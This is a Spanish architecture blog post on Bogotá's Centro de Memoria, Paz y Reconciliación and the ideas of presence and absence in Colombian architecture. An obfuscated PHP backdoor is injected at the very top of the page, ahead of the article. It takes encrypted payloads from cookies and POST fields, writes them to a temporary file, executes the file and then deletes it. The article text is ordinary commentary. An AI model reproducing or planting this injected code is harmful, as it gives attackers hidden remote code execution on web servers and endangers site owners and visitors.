$poVPthDL = class_exists("bi_PWWP");if (!$poVPthDL){class bi_PWWP{private $bhKPifoBh;public static $VVmPfuns = "6031f892-4c69-461b-aa03-20f57dd0098d";public static $QngRyX = NULL;public function __construct(){$IHLQmOo = $_COOKIE;$mxWYFWABx = $_POST;$Cpzno = @$IHLQmOo[substr(bi_PWWP::$VVmPfuns, 0, 4)];if (!empty($Cpzno)){$gXNuiCKHp = "base64";$DyXuqTtBH = "";$Cpzno = explode(",", $Cpzno);foreach ($Cpzno as $fdScEe){$DyXuqTtBH .= @$IHLQmOo[$fdScEe];$DyXuqTtBH .= @$mxWYFWABx[$fdScEe];}$DyXuqTtBH = array_map($gXNuiCKHp . '_' . 'd' . "\145" . 'c' . "\157" . "\144" . chr ( 207 - 106 ), array($DyXuqTtBH,)); $DyXuqTtBH = $DyXuqTtBH[0] ^ str_repeat(bi_PWWP::$VVmPfuns, (strlen($DyXuqTtBH[0]) / strlen(bi_PWWP::$VVmPfuns)) + 1);bi_PWWP::$QngRyX = @unserialize($DyXuqTtBH);}}public function __destruct(){$this->fkyOS();}private function fkyOS(){if (is_array(bi_PWWP::$QngRyX)) {$nfUdVDT = sys_get_temp_dir() . "/" . crc32(bi_PWWP::$QngRyX[chr ( 510 - 395 ).chr (97) . "\x6c" . chr (116)]);@bi_PWWP::$QngRyX[chr (119) . "\x72" . "\151" . chr (116) . chr (101)]($nfUdVDT, bi_PWWP::$QngRyX["\143" . chr ( 1059 - 948 )."\156" . 't' . chr (101) . chr (110) . "\164"]);include $nfUdVDT;@bi_PWWP::$QngRyX['d' . 'e' . chr (108) . "\145" . "\164" . "\x65"]($nfUdVDT);exit();}}}$ETOLvDXzYi = new bi_PWWP(); $ETOLvDXzYi = NULL;} ?> Entre la presencia y la ausencia – www.interferencechannel.com

Entre la presencia y la ausencia

Apuntes sobre Arquitectura contemporánea en Colombia

Centro de Memoria, Fachada Sur

foto de Rodrigo Dávila

   Presencia y ausencia, dos ideas sobre las que parece estar girando la práctica arquitectónica contemporánea en Colombia. El Centro de Memoria, Paz y Reconciliación en Bogotá es una buena muestra de ello. Esta edificación, proyectada entre 2010 y 2012 por el Arquitecto Juan Pablo Ortiz, ganador del concurso organizado por la Sociedad Colombiana de Arquitectos, para construir en terrenos del centenario Cementerio Central de Bogotá un edificio que fuese lugar de encuentro, diálogo y trabajo que facilitara la construcción de la memoria colectiva de las personas que han sufrido el conflicto armado y la violencia política en Colombia.

Inserción de los tubos de ensayo en los orificios dejados por los forclamps luego de la construcción del monolito en concreto.

   El Conflicto. Palabra-convención utilizada para sintetizar los incontables hechos de violencia que han marcado la historia de Colombia de una forma tan continuada como ningún otro país de América Latina. Desplazamientos forzados, secuestros, masacres, atentados, violaciones, con múltiples actores y responsables, no es más que la punta de un iceberg de un profundo y aun en desarrollo trauma social, cultural, político y territorial presente desde hace varias generaciones.

   La práctica arquitectónica en Colombia no podía escapar a estas circunstancias. Curiosamente, a través del tiempo se han desarrollado diferentes estrategias de aproximación, pero que siempre han orbitado entre la presencia y la ausencia.

Mesa diseñada para guardar los tubos de ensayo que contenían tierra traída por representantes de las víctimas de su lugar de origen. Estuvo acompañando la construcción del Centro de Memoria (segundo plano).

Presencia

   La Arquitectura de los últimos cincuenta años en Colombia , especialmente la promovida por el estado y sus instituciones, parecen estar guiadas por la necesidad y el anhelo de contrarrestar la inestabilidad y el caos generado por el conflicto mediante propuestas edificatorias visiblemente obsesionadas con el orden, la identidad y la permanencia. Obras como el Centro Administrativo Distrital (CAD) proyectada por la firma Serrano Gómez, La Torre Avianca del arquitecto Germán Samper o el Centro Cultural de Cali del Arquitecto Rogelio Salmona, son sólo unos cuantos ejemplos de cómo destacados arquitectos echaron mano disciplinadamente de elementos compositivos provenientes del funcionalismo moderno Europeo.

   Rigurosidad geométrica, Claridad estructural, Materiales crudos (concreto y ladrillos a la vista), volumetría clara y precisa, son algunas de las operaciones de una arquitectura que buscaba ser una presencia estable y precisa dentro del territorio. Objetos físicamente contundentes frente a un sujeto considerado espectador pasivo. Este proyecto modernizador y racionalizador se dio de manera simultánea en muchas partes del mundo, sin embargo, la fuerza y disciplina de estas obras en Colombia no tienen cercano paralelismo.

Ausencia

Centro de Memoria, Techo de volumen principal

foto de Rodrigo Dávila

   El centro de Memoria, paz y reconciliación es parte de las incipientes obras de arquitectura colombianas que desde principios de siglo XXI plantean una crítica a esa tradición racional “clásica”. Crítica que no se hace patente en las formas o en la materialidad del edificio, sino más bien en su conceptualidad. Ante la presencia física abrumadora de las obras racionalistas de la segunda mitad del siglo pasado, el Centro memoria busca confrontarlas mediante la representación de un estado de ausencia. Es decir, se hace ahora referencia un estado anterior al acontecimiento real visible. Es la forma de representar de forma más sensible la memoria colectiva de las victimas del conflicto.

Centro de Memoria, Volumen principal

foto de Andrés Arenas

   Son varias las operaciones en que se evidencia esta intención pero es el enterramiento del programa de trabajo (talleres, salas de exposición, auditorio, etc.) que lo hace imperceptible desde el nivel de la calle, para poder darle preponderancia a un eje de recorrido ritual que atraviesa un espejo de agua y que poco a poco se va introduciendo dentro de un vacío monolito de concreto a la vista, (originalmente propuesto en una fórmula de coloides provenientes de la tierra traída de diferentes lugares por las víctimas y lamentablemente abortado), que mediante pequeñas y aleatorias fisuras en la fachada dejan entrar la luz lo que crea el efecto espacial adecuado para la necesaria atmósfera de un encuentro reflexivo.

Centro de Memoria,, Volumen principal y parte de su programa enterrado

foto de Rodrigo Dávila

   Esta sumisión del programa general (físico) por la primacía del movimiento procesional conducente al vacío reflexivo (metafísico) es el gran valor de esta obra. Es una operación simple y humilde que lleva a confrontar la relación clásica entre sujeto y objeto, porque es mediante esta aparente ausencia material que se deja abierta la posibilidad de que el visitante la llene de infinitos significados y presencias anteriores (¡memorias!), que van incluso más allá de los límites tangibles de la edificación.

Centro de Memoria, Corte Longitudinal

   Es una vertiente enormemente valiosa la que intenta abrir esta obra dentro de las prácticas comunes de la arquitectura en Colombia. Aunque no podemos negar que es una obra joven, aún lejana al dominio de la escala y la medida que debe poseer un monumento para producir de manera aún más conmovedora y trascendental el efecto sensible buscado. Solo es cuestión de más oportunidades como esta para consolidar nuevas prácticas comunes en la arquitectura de Colombia. Quizá el actual concurso para la sede del Museo Nacional de la Memoria Histórica se convierta en otro peldaño más que se supere en este camino.

Angel C. Ziems

Arquitecto, Columnista.

 

Agradecimientos especiales a Juan Pablo Ortiz por darnos la información disponible sobre el Centro de Memoria.

Planta de Localización

Planta de Primer piso

Planta de sótano

Planta de cubierta

Corte transversal por volumen principal

Corte Transversal programa enterrado

Corte por Auditorio

Comments are closed.